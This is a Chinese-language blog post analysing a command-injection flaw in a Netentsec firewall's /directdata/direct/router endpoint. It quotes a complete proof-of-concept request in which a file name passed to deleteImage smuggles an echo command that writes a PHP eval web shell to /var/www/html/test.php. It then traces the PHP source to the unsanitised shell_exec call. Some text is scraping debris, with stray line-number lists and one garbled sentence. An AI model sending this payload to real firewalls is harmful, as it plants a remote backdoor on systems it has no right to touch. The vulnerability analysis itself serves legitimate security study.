'>/var/www/html/test.php"] }], "ty_/directdata/direc">
当前位置:   article > 正文

网康防火墙漏洞代码分析_/directdata/direct/router

/directdata/direct/router
poc分析
POST /directdata/direct/router HTTP/1.1
Host: X.X.X.X

{
    "action": "SSLVPN_Resource",
    "method": "deleteImage",
    "data":[{
      "data":["/var/www/html/b.txt;echo '<?php @eval($_POST[a]);?>'>/var/www/html/test.php"]
    }],
    "type": "rpc",
    "tid": 17

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
ox01

首先根据POST /directdata/direct/router知道dirctdata代表目录,direct代表文件名

可以定位到漏洞文件位于:application/directdata/controllers/DirectController.php,我们来看一下这里面写的代码

<?php
require_once BASE_PATH.'/applications/Models/Ext/Direct.php';
class Directdata_DirectController extends Zend_Controller_Action {

 //定义一个公共访问接口
    function routerAction() {
        $this->_helper->viewRenderer->setNoRender();

        $this->getResponse()->setBody(json_encode(
             Ext_Direct::run($this->getRequest())
        ));
    }

}

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • require_once BASE_PATH.'/applications/Models/Ext/Direct.php';加载了/applications/Models/Ext下的Direct.php文件;

  • $this->getResponse()->setBody(json_encode(
                 Ext_Direct::run($this->getRequest())
            ))
    • 1
    • 2
    • 3

由Ext_Direct::run知道调用了 Ext_Direct下的run函数去处理用户的输入,然后我们找到最前面加载文件的路径**/applications/Models/Ext/Direct.php**在里面找到找到run方法;

0x02

接下来我们开始对run函数进行分析

public static function run($request) {
  //解析用户的输入
		$extRequest = Ext_Direct_Request::factory($request);
		if (!$extRequest)
			throw new Exception('illegal parameters');
  //判断是否为数组,若变量extRequest不是数组,则使其为数组
		if (!is_array($extRequest))
			$extRequest = array($extRequest);
  
		$ret = array();//创建一个空数组$ret
		$daos = array();//创建一个空数组$daos
  //遍历给定的$extRequest数组,每次循环中,当前单元的值被赋值给$r并且数组内部的指针向前移一步
		foreach ($extRequest as $r) {
			$c = $r->getAction();
			if (!$c)
				throw new Exception('class not found');
      //检测$daos[$c]是否存在,若不存在,则执行new $c()并将其赋值给$daos
			if (!isset($daos[$c]))
				$daos[$c] = new $c();
			$dao = $daos[$c];
		//	$argtest = $r->getArguments();
		//	$testInfo =  $r->getMethod().'->'.$argtest[0]->type;
		//	$startTime = micsecond();
// 			Ns_debug_log($dao,'x5.log',false);
      //检查以下变量是否存在
			if (!method_exists($dao, $r->getMethod()))
				throw new Exception('method not found');
			try {
				if ($request->getParam('extDirectException'))
					throw new Ext_DirectException($request->extDirectException);
				$ret[] = new Ext_Direct_RPCResult(
					$r->getTID(),
					$r->getAction(),
					$r->getMethod(),
					call_user_func_array(
						array($dao, $r->getMethod()), $r->getArguments()
					)
				);
			} catch (Ext_DirectException $e) {
				$ret[] = new Ext_Direct_ExceptionResult(
					$r->getTID(),
					$r->getAction(),
					$r->getMethod(),
					$e->getMessage()
				);
			} catch (Exception $e) {
				$ret[] = new Ext_Direct_ExceptionResult(
					$r->getTID(),
					$r->getAction(),
					$r->getMethod(),
					$e->getMessage()
				);
			}
		//	Ns_debug_log((micsecond()-$startTime).date('Y-m-d H:i:s').','.$c.','.$testInfo.','.getenv('REMOTE_ADDR'),'fast.log',false);
		}
		return $ret;
	}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • foreach语法介绍:foreach(array_expression as $value) statement

    遍历给定的 array_expression 数组,每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步(因此下一次循环中将会得到下一个单元);

  • isset函数是检测变量是否设置,格式:bool isset ( mixed var [, mixed var [, …]] )

    返回值:若变量不存在则返回 FALSE
    若变量存在且其值为NULL,也返回 FALSE
    若变量存在且值不为NULL,则返回 TURE

    try {
    				if ($request->getParam('extDirectException'))
    					throw new Ext_DirectException($request->extDirectException);
    				$ret[] = new Ext_Direct_RPCResult(
    					$r->getTID(),
    					$r->getAction(),
    					$r->getMethod(),
             //call_user_func_array函数对用户输入的参数值调用
    					call_user_func_array(
    						array($dao, $r->getMethod()), $r->getArguments()
    					)
    				);
    			} 
      ...
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • call_user_func_array ( callable $callback , array $param_arr ) : mixed

    把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

    callback:被调用的回调函数

    param_arr:要被传入回调函数的数组,这个数组得是索引数组

    • 对照一下poc
    {
        "action": "SSLVPN_Resource",
        "method": "deleteImage",
        "data":[{
          "data":["/var/www/html/b.txt;echo '<?php @eval($_POST[a]);?>'>/var/www/html/test.php"]
        }],
        "type": "rpc",
        "tid": 17
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    getTID对应得到17,那么相应的getAction代表得到的类名,method代表方法名,data传递的是参数,接下来我们看一下applications/Models/SSLVPN/Resource.php,我们直接看deleteImage方法

    public function deleteImage($params){
    		$basePath = '/var/www/html/';
    		$imgPath = $this->imagePath;
      //从$params中取出data的部分
    		$params = $params->data;
    		$cmd = "cd $imgPath \n /bin/rm -rf ";
    		$existDefault=false;
    		foreach ($params as $img){
    			if($img=='default.png'){
    				$existDefault=true;
    			}else{
    				$cmd.=$img.' ';
       
    			}
    		}
    		Ns_debug_log($cmd,'x.log');
    		shell_exec($cmd);
    		if($existDefault){
    			return $this->response(array('failed : default images can not delete!'));
    		}
    		return $this->response(array());
    // 		Ns_debug_log($params,'x.log');
    	}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    $params = $params->data;取出` p a r a m s 中 d a t a 的 部 分 , 然 后 与 params中data的部分,然后与 paramsdata,cmd = "cd $imgPath \n /bin/rm -rf ";进行拼合,得到

    $cmd="cd $imgPath \n /bin/rm -rf /var/www/html/b.txt;echo '<?php @eval($_POST[a]);?>'>/var/www/html/test.php"
    
    • 1

    最后使用shell_exec($cmd);执行。

声明:本文内容由网友自发贡献,转载请注明出处:【wpsshop】
推荐阅读
相关标签
  

闽ICP备14008679号